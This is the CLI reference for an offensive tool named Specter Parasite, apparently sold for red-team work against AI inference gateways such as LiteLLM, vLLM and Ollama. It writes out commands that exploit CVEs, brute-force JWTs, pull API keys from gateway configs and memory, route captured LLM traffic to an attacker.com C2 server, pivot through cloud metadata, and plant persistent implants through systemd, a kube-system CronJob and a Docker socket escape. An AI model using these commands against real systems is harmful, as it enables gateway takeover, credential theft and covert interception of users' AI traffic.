T131 DOCS — L29 AI INFERENCE INFRASTRUCTURE

SPECTER PARASITE — CLI Reference

Universal AI Gateway Exploitation Engine — v1.0.0 — 237 tests

AUTHORIZED USE ONLY. This tool requires explicit written authorisation for each engagement. Unauthorized use violates the Computer Misuse Act 1990, CFAA, and equivalent legislation. All operations are logged and Ed25519-signed.

Installation

git clone https://github.com/RichardBarron27/red-specter-specter-parasite
cd red-specter-specter-parasite
pip install -e .
parasite --help

Gate Setup

INJECT Gate

# Generate Ed25519 key
python3 -c "
from cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PrivateKey
from cryptography.hazmat.primitives import serialization
key = Ed25519PrivateKey.generate()
pem = key.private_bytes(serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption())
open('parasite.key','wb').write(pem)
print('Key written to parasite.key')
"
export PARASITE_KEY=/path/to/parasite.key

UNLEASHED Gate

# Create ROE file — must contain exact string
cat > roe.txt << 'EOF'
gateway exploitation authorised
engagement: internal-red-team-2026-06
operator: richard
targets: 192.168.100.0/24
EOF
export PARASITE_ROE_FILE=/path/to/roe.txt

Commands

parasite scan

Discover and fingerprint AI gateways on a host or CIDR range.

parasite scan --target 192.168.1.100
parasite scan --target 192.168.1.100 --ports 4000,8000,11434
parasite scan --cidr 10.0.0.0/24 --timeout 2
FlagDescriptionDefault
--targetIP address or hostnamerequired
--cidrCIDR range for subnet scan
--portsComma-separated port listall known gateway ports
--timeoutTCP connect timeout (seconds)2.0
--outputJSON output file path

parasite probe

Deep auth analysis and attack surface enumeration. OPEN gate.

parasite probe --target 192.168.1.100:4000
parasite probe --target 192.168.1.100:4000 --werkzeug --machine-id abc123 --mac 00:23:ae:31:54:61
FlagDescription
--targethost:port to probe
--werkzeugAlso compute Werkzeug debugger PIN (requires --username, --app-file, --machine-id, --mac)
--jwt TOKENJWT to attack (brute force + alg:none + RS256 confusion)

parasite breach

Attempt all applicable CVE exploits. INJECT gate required.

export PARASITE_KEY=/path/to/parasite.key
parasite breach --target 192.168.1.100:4000
parasite breach --target 192.168.1.100:4000 --cve CVE-2026-42208  # specific CVE only

parasite siphon

Extract API keys from gateway config, env vars, and memory. INJECT gate required.

parasite siphon --target 192.168.1.100:4000 --breach-result breach.json

parasite intercept

Inject LiteLLM CustomLogger to capture all LLM traffic. UNLEASHED gate required.

export PARASITE_KEY=/path/to/parasite.key
export PARASITE_ROE_FILE=/path/to/roe.txt
parasite intercept --target 192.168.1.100:4000 --c2-url http://attacker.com:9999 --breach-result breach.json

parasite traverse

Cloud metadata pivot and provider account testing. UNLEASHED gate required.

parasite traverse --target 192.168.1.100:4000 --breach-result breach.json --credentials creds.json

parasite implant

Deploy persistent C2 mechanism. UNLEASHED gate required.

parasite implant --target 192.168.1.100:4000 \
    --mechanism systemd \
    --c2-url http://attacker.com:9999 \
    --breach-result breach.json
MechanismDescriptionGate
systemdnetwork-helper.service, Restart=alwaysUNLEASHED
k8sCronJob in kube-system, every 6hUNLEASHED
dockerEscape via /var/run/docker.sockUNLEASHED
litellm_modelPhantom gpt-4o-mini routing to attackerUNLEASHED

parasite engage

Full pipeline: SCAN → PROBE → BREACH → SIPHON → [INTERCEPT → TRAVERSE → IMPLANT] → REPORT

# OPEN gate — scan + probe only
parasite engage --target 192.168.1.100:4000

# INJECT gate — adds BREACH + SIPHON
parasite engage --target 192.168.1.100:4000 --gate inject

# UNLEASHED gate — full pipeline
parasite engage --target 192.168.1.100:4000 --gate unleashed \
    --c2-url http://attacker.com:9999 \
    --output /tmp/pst-report.json

Environment Variables

VariableRequired ForValue
PARASITE_KEYINJECT+Path to Ed25519 PEM private key file
PARASITE_ROE_FILEUNLEASHED+Path to ROE file (must contain "gateway exploitation authorised")

Report Format

{
  "report_id": "PST-a1b2c3d4e5f6",  // Ed25519-signed
  "tool_number": 131,
  "version": "1.0.0",
  "layer": "L29 AI Inference Infrastructure",
  "timestamp": 1749499200,
  "gateway": { "type": "litellm", "host": "...", "port": 4000 },
  "breach": { "technique": "cve_2026_42208", "success": true },
  "credential_count": 12,
  "valid_credentials": 8,
  "total_burn_rate_per_hour_usd": 24.00,
  "intercept_active": true,
  "wmd_classes": ["ai_gateway_takeover", ...],
  "mitre_attack": ["T1190", "T1552.001", "T1557", "T1565.001", "T1078", "T1071.001"],
  "mitre_atlas": ["AML.T0043", "AML.T0056", "AML.T0040", "AML.T0051"],
  "_signature": "..."  // hex-encoded Ed25519 signature
}

Supported Gateway Types

TypeDefault PortDetection ProbeCVEs
LiteLLM4000/health → litellm_versionCVE-2026-42271, 42208, 25536
vLLM8000/health → vllm_versionCVE-2026-22778, CVE-2024-5483
Ollama11434/ → "Ollama is running"CVE-2026-7482
LM Studio1234/v1/models → object
LocalAI8080/5001/api/v1/ping → pong
Text Generation WebUI7860/5000port hint
OpenWebUI3000/8080port hint
HuggingFace TGI80/443/info → model_id
Triton Inference Server8001/8002/v2/health/ready → live
Ray Serve8000/api/v1/health → status:OK
BentoML8080/readyz → status:ok
MLflow Serving5000/api/v1/models/list → models
Dify3000/3100port hint
Flowise9999port hint
nginx-ui9000port hintCVE-2026-33032
OpenAI-Compatibleany/v1/models → object + dataCVE-2026-25536